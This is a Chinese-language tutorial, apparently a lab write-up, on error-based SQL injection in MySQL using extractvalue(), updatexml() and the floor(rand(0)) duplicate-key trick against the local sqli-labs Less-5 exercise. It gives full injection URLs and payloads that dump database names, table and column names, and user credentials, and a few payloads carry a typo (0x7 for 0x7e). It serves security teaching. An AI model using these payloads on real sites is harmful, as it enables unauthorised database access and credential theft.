目录
一.常用的报错注入函数
1.报错注入的定义
2.常用的函数
一.extractvalue()
1.爆破准备
2.信息收集
3.数据收集
(1)获取表名
(2)获取users表的全部字段
(3)获取users表具体的数据
二.updetaxml()
1.数据收集
(1)爆表名
(2)爆列名
三.主键重复
1.注入原理
2.主要函数
3.演示
(1)信息收集
(2)数据收集
当网站的页面上没有显示位用于展示SQL语句执行后的结果,但是sql语句执行可以输出错误信息,那么攻击者可以利用注入过程中返回的错误信息进行判断。
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
(1)extractvalue()
(2)updataxml()
(3)count()+rand()+floor()+group by()导致的主键重复
extractvalue(xml_document,xpath_string)
第一个参数是xml文档对象的名称
第二个参数作用是从xml文档对象中返回查询到的字符串值,返回结果长度限制在32位字符。
payload:extractvalue(null,concat(0x7e,(sqli_inject),0x7e))
注:利用extractvalue()对数据进行一个排序,指定第一个参数为null,可以换成1、#或者其他符号,使其报错,并执行第二个参数语句。0x7e表示”-“号。
//127.0.0.1/sqli-labs-master/Less-5/?id=1
//127.0.0.1/sqli-labs-master/Less-5/?id=2
//127.0.0.1/sqli-labs-master/Less-5/?id=2a
都是You are in...........
说明是字符型注入,且没有显示位,这时候就要用到报错注入。
//127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e))--+
或者//127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(null,concat(0x7e,(database()),0x7e))--+
//127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(null,concat(0x7e,(user()),0x7e)) --+
//127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(null,concat(0x7e,(version()),0x7e))--+
//127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(null,concat(0x7,(sqli_inject),0x7e))--+
sqli_inject = select group_concat(table_name) from information_schema.tables where table_schema='security'
注释:前面说过extractvalue()最大返回长度为32,所以可以用limit N,1 一行一行的回显。
如:sqli_inject = select table_name from information_schema.tables where table_schema='security' limit 0,1
sqli_inject = select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
用limit N,1来看看password后面还有字段没有
sqli_inject= select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 3,1
后面没其他列名了,我们可以看出users是包含有id,username,password三个表头的数据表。
我们通过concat_ws和limit N,1来逐条显示。
sqli_inject= select concat_ws(id,username,password) from security.users limit n,1
//127.0.0.1/sqli-labs-master/Less-5/?id=1' and extractvalue(null,concat(0x7,(select concat_ws(',',id,username,password) from security.users limit 0,1),0x7e))--+
id=1,2,3,4,5,6.......
成功拿到后台账号和密码
updatexml(xml_document,xpath_string,new_value)
第一个参数,xml文档名称
第二个参数,xpath格式字符串
第三个参数,替换查找到的符合条件的数据
作用是,改变文档中符合条件的节点的值
payload格式如下:
updatexml(1,concat(0x7e,(sqli_inject),0x7e),1)
实验具体步骤如上,不在演示,只给出payload
sqli_inject = select group_concat(table_name) from information_schema.tables where table_schema='相应数据库名'
sqli_inject =select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='相应表名'
利用数据库表主键不能重复的原理,构造主键冗余,导致报错。
count(*):返回表中的记录数,记录列名的行数,一般配合group by使用。
group by:分组排序。group by在执行时,会依次取出查询表中的记录并创建一个临时表,group by的对象便是该临时表的主键。如果临时表中已经存在该主键,则将值加1,如果不存在,则将该主键插入到临时表中。
floor():向下取整,即返回不大于x的最大整数值,比如floor(1.2)返回1。
rand():返回大于0,小于1的随机浮点数,一般配合floor来使用。rand(0)不是随机的,它会返回固定的小数,我们就是利用这个特性来进行注入。
floor(rand(0)*2),返回01序列